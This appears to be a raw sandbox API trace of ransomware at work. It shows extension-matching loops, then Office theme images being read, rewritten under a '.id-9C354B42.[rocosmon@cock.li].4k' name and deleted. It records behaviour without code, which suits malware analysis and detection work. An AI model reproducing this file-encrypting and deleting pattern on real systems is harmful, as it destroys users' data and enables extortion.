	[0105.134] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.134] lstrlenW (lpString=".ppt") returned 4
	[0105.134] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0105.135] lstrlenW (lpString=".zip") returned 4
	[0105.135] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.135] lstrlenW (lpString=".rar") returned 4
	[0105.135] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.135] lstrlenW (lpString=".bz2") returned 4
	[0105.135] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.135] lstrlenW (lpString=".7z") returned 3
	[0105.135] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0105.135] lstrlenW (lpString=".dbf") returned 4
	[0105.135] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0105.135] lstrlenW (lpString=".1cd") returned 4
	[0105.135] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0105.135] lstrlenW (lpString=".jpg") returned 4
	[0105.135] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0105.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0105.135] lstrlenW (lpString=".doc") returned 4
	[0105.135] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.135] lstrlenW (lpString=".docx") returned 5
	[0105.135] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.135] lstrlenW (lpString=".pdf") returned 4
	[0105.135] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.136] lstrlenW (lpString=".xls") returned 4
	[0105.136] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.136] lstrlenW (lpString=".xlsx") returned 5
	[0105.136] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.136] lstrlenW (lpString=".ppt") returned 4
	[0105.136] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0105.136] lstrlenW (lpString=".zip") returned 4
	[0105.136] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.136] lstrlenW (lpString=".rar") returned 4
	[0105.136] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.136] lstrlenW (lpString=".bz2") returned 4
	[0105.136] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.136] lstrlenW (lpString=".7z") returned 3
	[0105.136] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0105.136] lstrlenW (lpString=".dbf") returned 4
	[0105.136] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0105.136] lstrlenW (lpString=".1cd") returned 4
	[0105.136] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0105.136] lstrlenW (lpString=".jpg") returned 4
	[0105.136] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.137] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0105.137] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0105.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.201] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=60724) returned 1
	[0105.201] CloseHandle (hObject=0x1e4) returned 1
	[0105.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20
	[0105.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.201] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.201] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0105.201] GetLastError () returned 0x0
	[0105.202] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0xed34, lpOverlapped=0x0) returned 1
	[0105.204] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xed40, lpOverlapped=0x0) returned 1
	[0105.205] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.205] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0105.205] SetEndOfFile (hFile=0x1f8) returned 1
	[0105.205] CloseHandle (hObject=0x1f8) returned 1
	[0105.206] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.206] SetEndOfFile (hFile=0x1e4) returned 1
	[0105.207] CloseHandle (hObject=0x1e4) returned 1
	[0105.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.208] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 1
	[0105.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0105.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0105.208] lstrlenW (lpString=".doc") returned 4
	[0105.208] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.208] lstrlenW (lpString=".docx") returned 5
	[0105.208] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.208] lstrlenW (lpString=".pdf") returned 4
	[0105.208] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.208] lstrlenW (lpString=".xls") returned 4
	[0105.208] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.208] lstrlenW (lpString=".xlsx") returned 5
	[0105.208] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.208] lstrlenW (lpString=".ppt") returned 4
	[0105.208] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0105.208] lstrlenW (lpString=".zip") returned 4
	[0105.208] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.208] lstrlenW (lpString=".rar") returned 4
	[0105.208] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.209] lstrlenW (lpString=".bz2") returned 4
	[0105.209] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.209] lstrlenW (lpString=".7z") returned 3
	[0105.209] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0105.209] lstrlenW (lpString=".dbf") returned 4
	[0105.209] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0105.209] lstrlenW (lpString=".1cd") returned 4
	[0105.209] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0105.209] lstrlenW (lpString=".jpg") returned 4
	[0105.209] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0105.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0105.209] lstrlenW (lpString=".doc") returned 4
	[0105.209] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.209] lstrlenW (lpString=".docx") returned 5
	[0105.209] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.209] lstrlenW (lpString=".pdf") returned 4
	[0105.209] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.209] lstrlenW (lpString=".xls") returned 4
	[0105.209] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.209] lstrlenW (lpString=".xlsx") returned 5
	[0105.209] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.209] lstrlenW (lpString=".ppt") returned 4
	[0105.209] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0105.209] lstrlenW (lpString=".zip") returned 4
	[0105.209] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.209] lstrlenW (lpString=".rar") returned 4
	[0105.209] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.209] lstrlenW (lpString=".bz2") returned 4
	[0105.210] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.210] lstrlenW (lpString=".7z") returned 3
	[0105.210] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0105.210] lstrlenW (lpString=".dbf") returned 4
	[0105.210] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0105.210] lstrlenW (lpString=".1cd") returned 4
	[0105.210] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0105.210] lstrlenW (lpString=".jpg") returned 4
	[0105.210] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.210] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0105.210] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0105.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.215] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=5179) returned 1
	[0105.215] CloseHandle (hObject=0x1e4) returned 1
	[0105.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20
	[0105.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.215] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.215] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0105.220] GetLastError () returned 0x0
	[0105.220] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x143b, lpOverlapped=0x0) returned 1
	[0105.360] WriteFile (in: hFile=0x1d8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x1440, lpOverlapped=0x0) returned 1
	[0105.360] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.360] WriteFile (in: hFile=0x1d8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0105.361] SetEndOfFile (hFile=0x1d8) returned 1
	[0105.361] CloseHandle (hObject=0x1d8) returned 1
	[0105.361] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.361] SetEndOfFile (hFile=0x1e4) returned 1
	[0105.361] CloseHandle (hObject=0x1e4) returned 1
	[0105.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.362] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 1
	[0105.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0105.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0105.362] lstrlenW (lpString=".doc") returned 4
	[0105.362] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.362] lstrlenW (lpString=".docx") returned 5
	[0105.362] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.362] lstrlenW (lpString=".pdf") returned 4
	[0105.362] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.362] lstrlenW (lpString=".xls") returned 4
	[0105.362] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.362] lstrlenW (lpString=".xlsx") returned 5
	[0105.362] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.362] lstrlenW (lpString=".ppt") returned 4
	[0105.362] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0105.363] lstrlenW (lpString=".zip") returned 4
	[0105.363] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.363] lstrlenW (lpString=".rar") returned 4
	[0105.363] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.363] lstrlenW (lpString=".bz2") returned 4
	[0105.363] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.363] lstrlenW (lpString=".7z") returned 3
	[0105.363] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0105.363] lstrlenW (lpString=".dbf") returned 4
	[0105.363] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0105.363] lstrlenW (lpString=".1cd") returned 4
	[0105.363] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0105.363] lstrlenW (lpString=".jpg") returned 4
	[0105.363] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0105.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0105.363] lstrlenW (lpString=".doc") returned 4
	[0105.363] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.363] lstrlenW (lpString=".docx") returned 5
	[0105.363] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.363] lstrlenW (lpString=".pdf") returned 4
	[0105.364] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.364] lstrlenW (lpString=".xls") returned 4
	[0105.364] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.364] lstrlenW (lpString=".xlsx") returned 5
	[0105.364] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.364] lstrlenW (lpString=".ppt") returned 4
	[0105.364] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0105.364] lstrlenW (lpString=".zip") returned 4
	[0105.364] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.364] lstrlenW (lpString=".rar") returned 4
	[0105.364] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.364] lstrlenW (lpString=".bz2") returned 4
	[0105.364] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.364] lstrlenW (lpString=".7z") returned 3
	[0105.364] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0105.364] lstrlenW (lpString=".dbf") returned 4
	[0105.364] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0105.364] lstrlenW (lpString=".1cd") returned 4
	[0105.364] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0105.364] lstrlenW (lpString=".jpg") returned 4
	[0105.364] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.364] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0105.364] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0105.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.365] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=2476) returned 1
	[0105.365] CloseHandle (hObject=0x1e4) returned 1
	[0105.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20
	[0105.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.365] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.365] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0105.367] GetLastError () returned 0x0
	[0105.367] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x9ac, lpOverlapped=0x0) returned 1
	[0105.368] WriteFile (in: hFile=0x1d8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x9b0, lpOverlapped=0x0) returned 1
	[0105.370] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.370] WriteFile (in: hFile=0x1d8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0105.370] SetEndOfFile (hFile=0x1d8) returned 1
	[0105.370] CloseHandle (hObject=0x1d8) returned 1
	[0105.370] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.370] SetEndOfFile (hFile=0x1e4) returned 1
	[0105.371] CloseHandle (hObject=0x1e4) returned 1
	[0105.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.371] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 1
	[0105.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
